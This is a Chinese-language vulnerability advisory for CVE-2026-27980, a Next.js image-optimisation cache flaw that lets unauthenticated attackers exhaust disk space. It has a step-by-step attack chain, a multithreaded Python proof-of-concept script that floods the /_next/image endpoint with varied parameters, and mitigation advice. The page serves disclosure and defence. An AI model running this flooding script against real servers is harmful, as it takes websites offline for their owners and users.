IPBUF安全漏洞报告
English
CVE-2026-27980 CVSS 7.5 高危

CVE-2026-27980 Next.js图片优化缓存无限增长导致拒绝服务

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27980
漏洞类型
拒绝服务/资源耗尽
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

Next.js拒绝服务资源耗尽缓存溢出CVE-2026-27980图片优化磁盘耗尽高危漏洞React框架

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。该漏洞存在于Next.js 10.0.0至16.1.7版本之间的图片优化功能中。漏洞根源在于Next.js默认的图片优化磁盘缓存(/_next/image)没有配置可控制的上限,导致缓存可以无限增长。攻击者可以通过持续请求生成大量唯一的图片优化变体,这些变体会被存储在磁盘缓存中,随着时间推移不断消耗服务器磁盘空间,最终导致磁盘空间耗尽,使服务器无法继续写入数据,正常用户无法访问网站服务,从而造成拒绝服务(DoS)攻击。此漏洞无需任何认证,攻击者可以通过网络远程发起攻击,攻击成本低但危害大。

技术细节

Next.js的Image组件提供了图片优化功能,会将原始图片转换为不同尺寸和质量的新版本以优化加载性能。这些优化后的图片默认存储在磁盘缓存中(.next/cache/images目录)。漏洞存在于缓存管理机制中:1)缓存大小没有配置上限参数,允许无限制增长;2)缺少缓存清理或过期机制;3)每次请求都会生成新的变体记录,即使图片内容相同。攻击者利用此漏洞的方式是构造大量带有不同参数的图片优化请求(如改变width、quality、format等参数组合),每个唯一组合都会在磁盘上创建新的缓存文件。由于没有大小限制,攻击者可以快速耗尽服务器磁盘空间,导致服务崩溃。修复版本16.1.7引入了LRU(最近最少使用)算法的磁盘缓存机制,通过images.maximumDiskCacheSize参数限制缓存大小,超出限制后自动清理旧条目。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用Next.js框架,并确认/_next/image端点可访问,该端点用于图片优化
STEP 2
步骤2: 参数枚举
攻击者发现可以通过改变width、quality、format等参数生成唯一的图片优化变体,每个变体会创建独立的磁盘缓存文件
STEP 3
步骤3: 构造恶意请求
攻击者编写脚本或使用工具,构造大量带有不同参数组合的/_next/image请求,如遍历100-2000的宽度值、10-100的质量值等
STEP 4
步骤4: 并发发送请求
通过多线程或分布式方式高并发发送请求,快速生成大量缓存条目,每个条目占用磁盘空间
STEP 5
步骤5: 磁盘空间耗尽
随着缓存文件不断累积,服务器磁盘空间逐渐耗尽,导致无法写入新的缓存文件
STEP 6
步骤6: 服务中断
磁盘空间完全耗尽后,Next.js无法正常工作,所有依赖图片优化的功能崩溃,正常用户无法访问网站,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-27980 PoC - Next.js Image Cache Exhaustion DoS # This PoC demonstrates how an attacker can exhaust disk space by generating # unlimited unique image optimization variants import requests import concurrent.futures import time TARGET_URL = "http://target-server.com" IMAGE_URL = f"{TARGET_URL}/test-image.jpg" def generate_cache_entries(): """ Generate unique image variants by varying optimization parameters. Each unique combination creates a new cache entry on disk. """ variants_generated = 0 # Generate variants with different width values (1-10000) for width in range(1, 10001): params = { "url": IMAGE_URL, "w": width, # width parameter "q": 75, # quality "f": "webp" # format } try: # Request Next.js image optimization endpoint response = requests.get( f"{TARGET_URL}/_next/image", params=params, timeout=5 ) if response.status_code == 200: variants_generated += 1 if variants_generated % 100 == 0: print(f"Generated {variants_generated} unique variants...") except Exception as e: print(f"Error: {e}") return variants_generated def attack_with_varied_params(): """ Multi-dimensional parameter variation to maximize cache growth. Combines width, quality, format, and other parameters. """ combinations = [] # Width variations widths = list(range(100, 2000, 10)) # 190 width values # Quality variations qualities = list(range(10, 100, 5)) # 18 quality values # Format variations formats = ["webp", "avif", "jpeg", "png"] # Generate all combinations: 190 * 18 * 4 = 13,680 unique variants for w in widths: for q in qualities: for f in formats: combinations.append({"w": w, "q": q, "f": f}) print(f"Planning to generate {len(combinations)} unique variants") # Send requests in parallel to speed up attack with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [] for combo in combinations: future = executor.submit(request_variant, combo) futures.append(future) completed = 0 for future in concurrent.futures.as_completed(futures): completed += 1 if completed % 1000 == 0: print(f"Progress: {completed}/{len(combinations)}") def request_variant(params): """Send single image optimization request.""" try: requests.get( f"{TARGET_URL}/_next/image", params={"url": IMAGE_URL, **params}, timeout=3 ) except: pass if __name__ == "__main__": print("Starting CVE-2026-27980 PoC - Next.js Cache Exhaustion Attack") print("Target:", TARGET_URL) print("-" * 50) start_time = time.time() variants = generate_cache_entries() elapsed = time.time() - start_time print(f"\nAttack completed in {elapsed:.2f} seconds") print(f"Generated {variants} unique cache entries") print("Check disk space on target server - it should be exhausted")

影响范围

Next.js >= 10.0.0
Next.js < 16.1.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)定期清理.next/cache/images目录中的缓存文件,建立定时任务自动执行;2)通过配置images.localPatterns、images.remotePatterns和images.qualities参数严格限制图片优化范围,减少可能的变体组合数量;3)在Web应用防火墙(WAF)层面限制/_next/image端点的请求频率;4)配置独立的磁盘分区给Next.js缓存使用,限制其最大可用空间;5)监控服务器磁盘使用情况,设置告警阈值。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表